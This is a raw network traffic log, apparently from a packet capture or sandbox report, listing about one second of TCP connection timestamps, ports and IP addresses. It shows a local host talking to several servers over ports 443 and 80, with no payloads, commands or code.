Oct 28, 2024 18:43:33.177689075 CET	443	63544	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.177954912 CET	443	63544	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.178178072 CET	63544	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.178669930 CET	63544	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.178670883 CET	63544	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.178719044 CET	443	63544	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.178746939 CET	443	63544	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.180985928 CET	63555	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.181013107 CET	443	63555	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.181101084 CET	63555	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.181343079 CET	63555	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.181369066 CET	443	63555	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.215399027 CET	443	63546	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.215583086 CET	443	63546	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.215660095 CET	63546	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.215807915 CET	63546	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.215807915 CET	63546	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.215836048 CET	443	63546	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.215861082 CET	443	63546	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.219070911 CET	63556	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.219083071 CET	443	63556	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.223680019 CET	63556	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.223875999 CET	63556	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.223887920 CET	443	63556	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.231975079 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.232000113 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.232047081 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.232054949 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.232089996 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.232106924 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.237361908 CET	443	63545	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.237696886 CET	443	63545	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.237761021 CET	63545	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.239466906 CET	63545	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.239470959 CET	443	63545	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.239604950 CET	63545	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.239609003 CET	443	63545	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.242093086 CET	63557	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.242155075 CET	443	63557	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.242300034 CET	63557	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.242404938 CET	63557	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.242424965 CET	443	63557	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.511919022 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:33.789552927 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.789566040 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.789585114 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.789608955 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.789638042 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.789653063 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.789675951 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.790311098 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.790330887 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.790380955 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.790385962 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.790442944 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.790442944 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.792308092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:33.793333054 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.793354988 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.793409109 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.793416023 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.793515921 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.798315048 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.798374891 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.798463106 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.798525095 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.799896955 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.799917936 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.799942017 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.799948931 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.799969912 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.799984932 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.802519083 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.802539110 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.802566051 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.802571058 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.802606106 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.802623034 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.808624029 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.808650017 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.808742046 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.808746099 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.808820963 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.808860064 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.811408997 CET	443	63551	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:33.811971903 CET	63551	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:33.811980009 CET	443	63551	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:33.812697887 CET	443	63551	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:33.813076973 CET	63551	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:33.813165903 CET	443	63551	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:33.813199997 CET	63551	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:33.813277960 CET	63551	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:33.813283920 CET	443	63551	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:33.923383951 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.923413038 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.923461914 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.923475981 CET	443	63553	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.923485041 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.923540115 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.924890041 CET	443	63555	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.930386066 CET	63553	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.930401087 CET	443	63553	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.931144953 CET	63553	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.931149960 CET	443	63553	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.932013988 CET	63555	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.932024956 CET	443	63555	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.932468891 CET	63555	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.932472944 CET	443	63555	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.946010113 CET	443	63554	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.946336985 CET	63554	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.946350098 CET	443	63554	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.946966887 CET	63554	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.946971893 CET	443	63554	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.966634989 CET	443	63556	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.967108965 CET	63556	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.967118025 CET	443	63556	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.967510939 CET	63556	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.967514992 CET	443	63556	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.986407995 CET	443	63551	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:33.999835968 CET	443	63557	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.000171900 CET	63557	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.000190973 CET	443	63557	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.000612020 CET	63557	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.000617981 CET	443	63557	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.023452997 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.023514032 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.023516893 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.023540974 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.023555994 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.023581028 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.023706913 CET	443	63551	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:34.023756981 CET	63551	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:34.024100065 CET	63551	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:34.024112940 CET	443	63551	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:34.038624048 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.038685083 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.038716078 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.038831949 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.039165974 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.039177895 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.058666945 CET	443	63553	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.058751106 CET	443	63553	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.058813095 CET	63553	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.060417891 CET	443	63555	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.061448097 CET	443	63555	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.061491966 CET	63555	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.066715956 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.066742897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.066756964 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.066790104 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.066792011 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.066804886 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.066809893 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.066823959 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.066839933 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.066895008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.066924095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.066929102 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.066940069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.066956997 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.066972971 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.067060947 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.067207098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.067241907 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.067934990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.067975998 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.068022966 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.072109938 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.072145939 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.072185040 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.082433939 CET	443	63554	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.083436966 CET	443	63554	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.083632946 CET	63554	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.100620985 CET	443	63556	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.100677967 CET	443	63556	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.100730896 CET	63556	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.109807968 CET	63553	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.109833002 CET	443	63553	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.109846115 CET	63553	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.109852076 CET	443	63553	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.111052990 CET	63556	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.111061096 CET	443	63556	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.111069918 CET	63556	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.111074924 CET	443	63556	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.115025997 CET	63555	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.115051031 CET	443	63555	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.115065098 CET	63555	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.115071058 CET	443	63555	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.127921104 CET	63554	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.127959013 CET	443	63554	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.128073931 CET	63554	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.128082991 CET	443	63554	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.132385969 CET	443	63557	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.132673025 CET	443	63557	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.132739067 CET	63557	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.133950949 CET	63558	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.133984089 CET	443	63558	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.134051085 CET	63558	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.154272079 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:34.154318094 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:34.154428959 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:34.157898903 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:34.157932997 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:34.158055067 CET	63558	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:34.158070087 CET	443	63558	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:34.159229994 CET	63557	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.159229994 CET	63557	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.159280062 CET	443	63557	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.159310102 CET	443	63557	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.172427893 CET	63560	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.172455072 CET	443	63560	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.172965050 CET	63560	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.173759937 CET	63561	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.173795938 CET	443	63561	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.173891068 CET	63561	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.173926115 CET	63560	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.173938990 CET	443	63560	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.174452066 CET	63561	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.174501896 CET	443	63561	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.175250053 CET	63562	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.175257921 CET	443	63562	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.175508976 CET	63562	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.175626993 CET	63562	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.175637960 CET	443	63562	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.176291943 CET	63563	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.176340103 CET	443	63563	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.176403999 CET	63563	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.176882029 CET	63564	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.176913023 CET	443	63564	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.176938057 CET	63563	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.176966906 CET	443	63563	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.176981926 CET	63564	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.177613974 CET	63564	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:34.177624941 CET	443	63564	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:34.188178062 CET	443	63552	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:34.188659906 CET	63552	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:34.188678980 CET	443	63552	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:34.189516068 CET	63552	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:34.189519882 CET	443	63552	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:34.189645052 CET	63552	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:34.189656973 CET	443	63552	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:34.229466915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.229486942 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.229511976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.229527950 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.229542971 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.229557991 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.229608059 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.229608059 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.229804039 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.229943037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.229976892 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.229993105 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.229996920 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.230025053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.230036974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.230073929 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.230474949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.230529070 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.230529070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.230545998 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.230561972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.230566025 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.230612040 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.230616093 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.230654001 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.231252909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.231267929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.231285095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.231324911 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.231367111 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.231372118 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.231383085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.231399059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.231420040 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.231450081 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.232191086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.232228994 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.232248068 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.232251883 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.232268095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.232270002 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.232316971 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.391916990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.391976118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392011881 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392014980 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392030001 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392046928 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392051935 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392051935 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392064095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392072916 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392091036 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392111063 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392241955 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392277002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392292023 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392297983 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392314911 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392328024 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392501116 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392540932 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392544031 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392558098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392579079 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392589092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.392606020 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392796040 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.392949104 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393011093 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393027067 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393063068 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.393064022 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393079996 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393102884 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.393119097 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.393462896 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393495083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393510103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393512011 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.393527985 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.393552065 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.393605947 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393624067 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393640041 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393656015 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393659115 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.393693924 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.393723965 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.393804073 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.394452095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.394479990 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.394496918 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.394535065 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.394568920 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:34.394573927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.394591093 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.394608021 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:34.394614935 CET	63519	80	192.168.2.5	185.215.113.206
